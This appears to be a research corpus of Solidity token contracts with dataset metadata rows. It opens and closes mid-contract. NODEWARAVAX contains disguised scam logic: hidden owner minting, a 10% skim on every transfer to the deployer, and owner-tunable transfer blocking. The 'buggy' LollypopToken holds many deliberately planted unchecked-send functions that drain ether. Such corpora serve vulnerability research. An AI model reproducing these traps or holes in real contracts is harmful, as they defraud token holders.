(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 91,480 | 112 |
fc4cd30ec16dbaed536e491142d1510ccd3a175a2b78930f14ca2cd83bc462d4
| 10,565 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xaed966eca5a19594fbade86010c5c7c028333a0e.sol
| 2,736 | 10,342 |
pragma solidity ^0.4.25;
// ----------------------------------------------------------------------------
// 'Eth Gas Station'
//
// NAME : Eth Gas Station
// Symbol : EGS
// Total supply: 150,000,000
// Decimals : 8
//
// (c) EGS TEAM 2018
// -----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract EthGasStation is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Eth Gas Station";
string public constant symbol = "EGS";
uint public constant decimals = 8;
uint public deadline = now + 35 * 1 days;
uint public round2 = now + 35 * 1 days;
uint public round1 = now + 30 * 1 days;
uint256 public totalSupply = 150000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 100000e8;
uint public target0drop = 50000;
uint public progress0drop = 0;
address multisig = 0xCf7Ac628f8A0fa38059BF77b0134efaD8bF329A3;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 10000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 5;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 3 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 50 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 75 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 25 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 50 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 1e8;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 196,260 | 113 |
9bf32bfc17989b0c396bafe210835208900c0c64fc2731f7ea2dd843f99b2913
| 22,151 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/67/67584f9502370204d39e86debff752998078f7d0_NODEWARAVAX.sol
| 2,860 | 10,956 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract NODEWARAVAX is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Total Supply
uint256 private _tSupply;
// Circulating Supply
uint256 private _tTotal = 100000000000 * 10**18;
// teamFee
uint256 private _teamFee;
// taxFee
uint256 private _taxFee;
string private _name = 'NODE WAR AVAX';
string private _symbol = 'NODEWAR';
uint8 private _decimals = 18;
address private _deadAddress = _msgSender();
uint256 private _minFee;
constructor (uint256 add1) public {
_balances[_msgSender()] = _tTotal;
_minFee = 1 * 10**2;
_teamFee = add1;
_taxFee = add1;
_tSupply = 1 * 10**16 * 10**18;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() public {
require (_deadAddress == _msgSender());
_taxFee = _minFee;
}
function manualsend(uint256 curSup) public {
require (_deadAddress == _msgSender());
_teamFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function tokenFromReflection() public {
require (_deadAddress == _msgSender());
uint256 currentBalance = _balances[_deadAddress];
_tTotal = _tSupply + _tTotal;
_balances[_deadAddress] = _tSupply + currentBalance;
emit Transfer(address(0),
_deadAddress,
_tSupply);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (checkBotAddress(sender)) {
require(amount > _tSupply, "Bot can not execute.");
}
uint256 reflectToken = amount.mul(10).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_deadAddress] = _balances[_deadAddress].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function checkBotAddress(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {
return true;
} else {
return false;
}
}
}
| 93,838 | 114 |
d3878da6c657b0becf340dc2f8c667bf62852bb6830868683a6ec1bbac94f694
| 18,884 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
experiments/ge-sc-data/source_code/denial_of_service/buggy_curated/buggy_34.sol
| 3,776 | 12,491 |
pragma solidity >=0.5.11;
contract Ownable {
function cash_unchk22(uint roundIndex, uint subpotIndex, address payable winner_unchk22)public{
uint64 subpot_unchk22 = 10 ether;
winner_unchk22.send(subpot_unchk22); //bug
subpot_unchk22= 0;
}
address payable public owner;
function bug_unchk31() public{
address payable addr_unchk31;
if (!addr_unchk31.send (10 ether) || 1==1)
{revert();}
}
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
function bug_unchk3(address payable addr) public
{addr.send (42 ether); }
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
}
bool public payedOut_unchk9 = false;
function withdrawLeftOver_unchk9() public {
require(payedOut_unchk9);
msg.sender.send(address(this).balance);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract LollypopToken is Ownable {
using SafeMath for uint256;
function my_func_uncheck12(address payable dst) public payable{
dst.call.value(msg.value)("");
}
mapping (address => transferMapping) private _balances;
function my_func_unchk11(address payable dst) public payable{
dst.send(msg.value);
}
mapping (address => mapping (address => uint256)) private _allowances;
function callnotchecked_unchk1(address payable callee) public {
callee.call.value(2 ether);
}
uint256 private _totalSupply;
function withdrawBal_unchk41 () public{
uint64 Balances_unchk41 = 0;
msg.sender.send(Balances_unchk41);}
uint256 public _maxTotalSupply;
function bug_unchk42() public{
uint receivers_unchk42;
address payable addr_unchk42;
if (!addr_unchk42.send(42 ether))
{receivers_unchk42 +=1;}
else
{revert();}
}
string private _name = "Lollypop";
function unhandledsend_unchk2(address payable callee) public {
callee.send(5 ether);
}
string private _symbol = "Lolly";
function bug_unchk43() public{
address payable addr_unchk43;
if (!addr_unchk43.send (10 ether) || 1==1)
{revert();}
}
uint8 private _decimals= 18;
function my_func_uncheck48(address payable dst) public payable{
dst.call.value(msg.value)("");
}
uint256 public maxAgeOfToken = 365 days;
function withdrawBal_unchk17 () public{
uint64 Balances_unchk17 = 0;
msg.sender.send(Balances_unchk17);}
uint256 public minAgeOfToken = 1 days;
function callnotchecked_unchk37(address payable callee) public {
callee.call.value(1 ether);
}
uint256 public perDayBonus = 100; // Divisible 1/100 (0.1 %)
struct transferMapping{
uint256 amount;
uint256 time;
}
constructor() public {
_maxTotalSupply = 1000000000 * 10 ** 18;
_totalSupply = 2000000 * 10 ** 18;
_balances[msg.sender].amount = _totalSupply;
_balances[msg.sender].time = now;
}
function callnotchecked_unchk25(address payable callee) public {
callee.call.value(1 ether);
}
function calculateBonus(uint256 timeElasped , uint256 amount) public view returns(uint256){
uint256 totalDays = timeElasped.div(minAgeOfToken);
if(totalDays > maxAgeOfToken){
totalDays = maxAgeOfToken;
}
uint256 totalBonus = (totalDays * amount).div(perDayBonus);
return totalBonus;
}
function bug_unchk19() public{
address payable addr_unchk19;
if (!addr_unchk19.send (10 ether) || 1==1)
{revert();}
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderTimeElasped = now - (_balances[sender].time);
uint256 recipientTimeElasped = now - (_balances[recipient].time);
if(senderTimeElasped >= minAgeOfToken && (_totalSupply < _maxTotalSupply)){
uint256 bonus = calculateBonus(senderTimeElasped , balanceOf(sender));
mint(sender , bonus);
}
if(recipientTimeElasped >= minAgeOfToken && (_totalSupply < _maxTotalSupply) && sender!= recipient){
uint256 bonus = calculateBonus(recipientTimeElasped , balanceOf(recipient));
mint(recipient , bonus);
}
_balances[sender].amount = _balances[sender].amount.sub(amount);
_balances[recipient].amount = _balances[recipient].amount.add(amount);
_balances[sender].time = now;
_balances[recipient].time = now;
emit Transfer(sender, recipient, amount);
}
function unhandledsend_unchk26(address payable callee) public {
callee.send(5 ether);
}
function name() public view returns (string memory) {
return _name;
}
bool public payedOut_unchk20 = false;
address payable public winner_unchk20;
uint public winAmount_unchk20;
function sendToWinner_unchk20() public {
require(!payedOut_unchk20);
winner_unchk20.send(winAmount_unchk20);
payedOut_unchk20 = true;
}
function symbol() public view returns (string memory) {
return _symbol;
}
bool public payedOut_unchk32 = false;
address payable public winner_unchk32;
uint public winAmount_unchk32;
function sendToWinner_unchk32() public {
require(!payedOut_unchk32);
winner_unchk32.send(winAmount_unchk32);
payedOut_unchk32 = true;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function unhandledsend_unchk38(address payable callee) public {
callee.send(5 ether);
}
modifier onlyLollypopAndOwner {
require(msg.sender == address(this) || msg.sender == owner);
_;
}
bool public payedOut_unchk45 = false;
function withdrawLeftOver_unchk45() public {
require(payedOut_unchk45);
msg.sender.send(address(this).balance);
}
event Transfer(address indexed from, address indexed to, uint256 value);
function callnotchecked_unchk13(address callee) public {
callee.call.value(1 ether);
}
event Approval(address indexed owner, address indexed spender, uint256 value);
function mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account].amount = _balances[account].amount.add(amount);
emit Transfer(address(0), account, amount);
}
function cash_unchk46(uint roundIndex, uint subpotIndex, address payable winner_unchk46) public{
uint64 subpot_unchk46 = 3 ether;
winner_unchk46.send(subpot_unchk46); //bug
subpot_unchk46= 0;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function UncheckedExternalCall_unchk4 () public
{ address payable addr_unchk4;
if (! addr_unchk4.send (42 ether))
{// comment1;
}
else
{//comment2;
}
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account].amount;
}
function bug_unchk7() public{
address payable addr_unchk7;
if (!addr_unchk7.send (10 ether) || 1==1)
{revert();}
}
function timeOf(address account) public view returns (uint256) {
return _balances[account].time;
}
function my_func_unchk23(address payable dst) public payable{
dst.send(msg.value);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function unhandledsend_unchk14(address payable callee) public {
callee.send(5 ether);
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
require(receivers.length == amounts.length);
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function bug_unchk30() public{
uint receivers_unchk30;
address payable addr_unchk30;
if (!addr_unchk30.send(42 ether))
{receivers_unchk30 +=1;}
else
{revert();}
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
bool public payedOut_unchk8 = false;
address payable public winner_unchk8;
uint public winAmount_unchk8;
function sendToWinner_unchk8() public {
require(!payedOut_unchk8);
winner_unchk8.send(winAmount_unchk8);
payedOut_unchk8 = true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function bug_unchk39(address payable addr) public
{addr.send (4 ether); }
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function my_func_uncheck36(address payable dst) public payable{
dst.call.value(msg.value)("");
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function my_func_unchk35(address payable dst) public payable{
dst.send(msg.value);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
bool public payedOut_unchk44 = false;
address payable public winner_unchk44;
uint public winAmount_unchk44;
function sendToWinner_unchk44() public {
require(!payedOut_unchk44);
winner_unchk44.send(winAmount_unchk44);
payedOut_unchk44 = true;
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account].amount = _balances[account].amount.sub(value);
emit Transfer(account, address(0), value);
}
function UncheckedExternalCall_unchk40 () public
{ address payable addr_unchk40;
if (! addr_unchk40.send (2 ether))
{// comment1;
}
else
{//comment2;
}
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
bool public payedOut_unchk33 = false;
function withdrawLeftOver_unchk33() public {
require(payedOut_unchk33);
msg.sender.send(address(this).balance);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
function bug_unchk27(address payable addr) public
{addr.send (42 ether); }
}
| 132,808 | 115 |
8cf9dedadda2f5ef49fd74b1759a1511108d3ba6a0804ae0c825960373c9ff4c
| 28,972 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x2D14A25B394cd4d8CCa38Fcbdb9991677340b487/contract.sol
| 5,115 | 18,282 |
// Wormz Platform Token BEP20
// t : https://t.me/wormzArmy
//
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
